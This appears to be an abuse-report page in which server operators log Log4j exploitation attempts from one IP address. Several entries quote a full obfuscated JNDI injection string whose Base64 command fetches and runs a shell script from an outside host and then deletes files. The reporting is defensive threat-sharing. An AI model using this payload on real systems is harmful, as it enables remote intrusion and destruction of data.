๐บ๐ธ
gu-alvareza
2022-12-12 16:42:03
(3 years ago)
Apache.Log4j.Error.Log.Remote.Code.Execution
Hacking
Web App Attack
๐บ๐ธ
Yawning Angel
2022-12-12 13:34:11
(3 years ago)
attack="Apache.Log4j.Error.Log.Remote.Code.Execution"
Hacking
Web App Attack
Anonymous
2022-12-12 11:53:17
(3 years ago)
[11/Dec/2022:23:26:13 -0500] \"GET /:80:undefined?id= HTTP/1.1\" \"t('${${env:BARFOO:-j}ndi${env:BAR ...
show more
[11/Dec/2022:23:26:13 -0500] \"GET /:80:undefined?id= HTTP/1.1\" \"t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//164.92.120.75:1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IHdnZXQgaHR0cDovLzE5MS4yMzQuMjAwLjIxNi9odWguc2g7IGN1cmwgLU8gaHR0cDovLzE5MS4yMzQuMjAwLjIxNi9odWguc2g7IGNobW9kIDc3NyBodWguc2g7IHNoIGh1aC5zaDsgdGZ0cCAxOTEuMjM0LjIwMC4yMTYgLWMgZ2V0IGh1aC5zaDsgY2htb2QgNzc3IGh1aC5zaDsgc2ggaHVoLnNoOyB0ZnRwIC1yIGh1aDIuc2ggLWcgMTkxLjIzNC4yMDAuMjE2OyBjaG1vZCA3NzcgaHVoMi5zaDsgc2ggaHVoMi5zaDsgZnRwZ2V0IC12IC11IGFub255bW91cyAtcCBhbm9ueW1vdXMgLVAgMjEgMTkxLjIzNC4yMDAuMjE2IGh1aDEuc2ggaHVoMS5zaDsgc2ggaHVoMS5zaDsgcm0gLXJmIGh1aC5zaCBodWguc2ggaHVoMi5zaCBodWgxLnNoOyBybSAtcmYgKg==}')\"
show less
Hacking
๐บ๐ธ
Fox River Dan
2022-12-12 08:58:54
(3 years ago)
24.199.93.150 - - [12/Dec/2022:03:17:18 -0600] "GET /:80:undefined?id= HTTP/1.1" 401 8033 "t('${${en ...
show more
24.199.93.150 - - [12/Dec/2022:03:17:18 -0600] "GET /:80:undefined?id= HTTP/1.1" 401 8033 "t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//164.92.120.75:1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IHdnZXQgaHR0cDovLzE5MS4yMzQuMjAwLjIxNi9odWguc2g7IGN1cmwgLU8gaHR0cDovLzE5MS4yMzQuMjAwLjIxNi9odWguc2g7IGNobW9kIDc3NyBodWguc2g7IHNoIGh1aC5zaDsgdGZ0cCAxOTEuMjM0LjIwMC4yMTYgLWMgZ2V0IGh1aC5zaDsgY2htb2QgNzc3IGh1aC5zaDsgc2ggaHVoLnNoOyB0ZnRwIC1yIGh1aDIuc2ggLWcgMTkxLjIzNC4yMDAuMjE2OyBjaG1vZCA3NzcgaHVoMi5zaDsgc2ggaHVoMi5zaDsgZnRwZ2V0IC12IC11IGFub255bW91cyAtcCBhbm9ueW1vdXMgLVAgMjEgMTkxLjIzNC4yMDAuMjE2IGh1aDEuc2ggaHVoMS5zaDsgc2ggaHVoMS5zaDsgcm0gLXJmIGh1aC5zaCBodWguc2ggaHVoMi5zaCBodWgxLnNoOyBybSAtcmYgKg==}')" "t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//164.92.120.75:1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IHdnZXQgaHR0cDovLzE5MS4yMzQuMjAwLjIxNi
show less
Hacking
๐ฉ๐ช
sdos.es
2022-12-12 06:47:30
(3 years ago)
" - "
Web App Attack
๐ฌ๐ง
Artelis
2022-12-12 05:57:29
(3 years ago)
24.199.93.150 - - [12/Dec/2022:10:55:55 +0000] "GET /:80:undefined?id= HTTP/1.1" 301 178 "t('${${env ...
show more
24.199.93.150 - - [12/Dec/2022:10:55:55 +0000] "GET /:80:undefined?id= HTTP/1.1" 301 178 "t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//164.92.120.75:1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IHdnZXQgaHR0cDovLzE5MS4yMzQuMjAwLjIxNi9odWguc2g7IGN1cmwgLU8gaHR0cDovLzE5MS4yMzQuMjAwLjIxNi9odWguc2g7IGNobW9kIDc3NyBodWguc2g7IHNoIGh1aC5zaDsgdGZ0cCAxOTEuMjM0LjIwMC4yMTYgLWMgZ2V0IGh1aC5zaDsgY2htb2QgNzc3IGh1aC5zaDsgc2ggaHVoLnNoOyB0ZnRwIC1yIGh1aDIuc2ggLWcgMTkxLjIzNC4yMDAuMjE2OyBjaG1vZCA3NzcgaHVoMi5zaDsgc2ggaHVoMi5zaDsgZnRwZ2V0IC12IC11IGFub255bW91cyAtcCBhbm9ueW1vdXMgLVAgMjEgMTkxLjIzNC4yMDAuMjE2IGh1aDEuc2ggaHVoMS5zaDsgc2ggaHVoMS5zaDsgcm0gLXJmIGh1aC5zaCBodWguc2ggaHVoMi5zaCBodWgxLnNoOyBybSAtcmYgKg==}')" "t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//164.92.120.75:1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IHdnZXQgaHR0cDov
...
show less
Web App Attack
๐ฆ๐บ
Ross Wheatley
2022-12-12 05:53:30
(3 years ago)
GET /:80:undefined?id= HTTP/1.1 404 455 t('${${env:BARFOO:-j
Brute-Force
Web App Attack
๐ต๐ช
inspectorperuano
2022-12-12 05:23:54
(3 years ago)
GET /:80:undefined?id= HTTP/1.1
Web App Attack
๐บ๐ธ
npcautomotive.com
2022-12-12 05:19:20
(3 years ago)
24.199.93.150 - - [12/Dec/2022:10:19:26 +0000] "GET /:80:undefined?id= HTTP/1.1" 301 258 "t('${${env ...
show more
24.199.93.150 - - [12/Dec/2022:10:19:26 +0000] "GET /:80:undefined?id= HTTP/1.1" 301 258 "t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//164.92.120.75:1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IHdnZXQgaHR0cDovLzE5MS4yMzQuMjAwLjIxNi9odWguc2g7IGN1cmwgLU8gaHR0cDovLzE5MS4yMzQuMjAwLjIxNi9odWguc2g7IGNobW9kIDc3NyBodWguc2g7IHNoIGh1aC5zaDsgdGZ0cCAxOTEuMjM0LjIwMC4yMTYgLWMgZ2V0IGh1aC5zaDsgY2htb2QgNzc3IGh1aC5zaDsgc2ggaHVoLnNoOyB0ZnRwIC1yIGh1aDIuc2ggLWcgMTkxLjIzNC4yMDAuMjE2OyBjaG1vZCA3NzcgaHVoMi5zaDsgc2ggaHVoMi5zaDsgZnRwZ2V0IC12IC11IGFub255bW91cyAtcCBhbm9ueW1vdXMgLVAgMjEgMTkxLjIzNC4yMDAuMjE2IGh1aDEuc2ggaHVoMS5zaDsgc2ggaHVoMS5zaDsgcm0gLXJmIGh1aC5zaCBodWguc2ggaHVoMi5zaCBodWgxLnNoOyBybSAtcmYgKg==}')" "t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//164.92.120.75:1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IHdnZXQgaHR0cDov
...
show less
Hacking
๐ฌ๐ง
SecondEdge
2022-12-12 05:06:18
(3 years ago)
A web attack was detected from 24.199.93.150 (United States / New Jersey / North Bergen) against 52. ...
show more
A web attack was detected from 24.199.93.150 (United States / New Jersey / North Bergen) against 52.215.230.232 (Log4j Attack (CVE-2021-44228)).
show less
Web App Attack
๐บ๐ธ
KitsuneTech
2022-12-12 04:36:59
(3 years ago)
24.199.93.150 - - [12/Dec/2022:03:36:58 -0600] "GET /:80:undefined?id= HTTP/1.1" 301 249 "t('${${env ...
show more
24.199.93.150 - - [12/Dec/2022:03:36:58 -0600] "GET /:80:undefined?id= HTTP/1.1" 301 249 "t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//164.92.120.75:1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IHdnZXQgaHR0cDovLzE5MS4yMzQuMjAwLjIxNi9odWguc2g7IGN1cmwgLU8gaHR0cDovLzE5MS4yMzQuMjAwLjIxNi9odWguc2g7IGNobW9kIDc3NyBodWguc2g7IHNoIGh1aC5zaDsgdGZ0cCAxOTEuMjM0LjIwMC4yMTYgLWMgZ2V0IGh1aC5zaDsgY2htb2QgNzc3IGh1aC5zaDsgc2ggaHVoLnNoOyB0ZnRwIC1yIGh1aDIuc2ggLWcgMTkxLjIzNC4yMDAuMjE2OyBjaG1vZCA3NzcgaHVoMi5zaDsgc2ggaHVoMi5zaDsgZnRwZ2V0IC12IC11IGFub255bW91cyAtcCBhbm9ueW1vdXMgLVAgMjEgMTkxLjIzNC4yMDAuMjE2IGh1aDEuc2ggaHVoMS5zaDsgc2ggaHVoMS5zaDsgcm0gLXJmIGh1aC5zaCBodWguc2ggaHVoMi5zaCBodWgxLnNoOyBybSAtcmYgKg==}')" "t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//164.92.120.75:1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IHdnZXQgaHR0cDov
...
show less
Hacking
Anonymous
2022-12-12 04:06:16
(3 years ago)
port scan and connect, tcp 80 (http)
Port Scan
Anonymous
2022-12-12 03:46:46
(3 years ago)
fail2ban_hh apache-modsecurity [msg "Inbound Anomaly Score Exceeded (Total Score: 13)"] [uri "/:80:u ...
show more
fail2ban_hh apache-modsecurity [msg "Inbound Anomaly Score Exceeded (Total Score: 13)"] [uri "/:80:undefined"]
show less
Web App Attack
Anonymous
2022-12-12 03:43:41
(3 years ago)
Fail2Ban triggered
Web App Attack
๐ฉ๐ช
Interceptor_HQ
2022-12-12 02:43:43
(3 years ago)
request_uri: /:80:undefined?id= -- automatic report --
Hacking
Brute-Force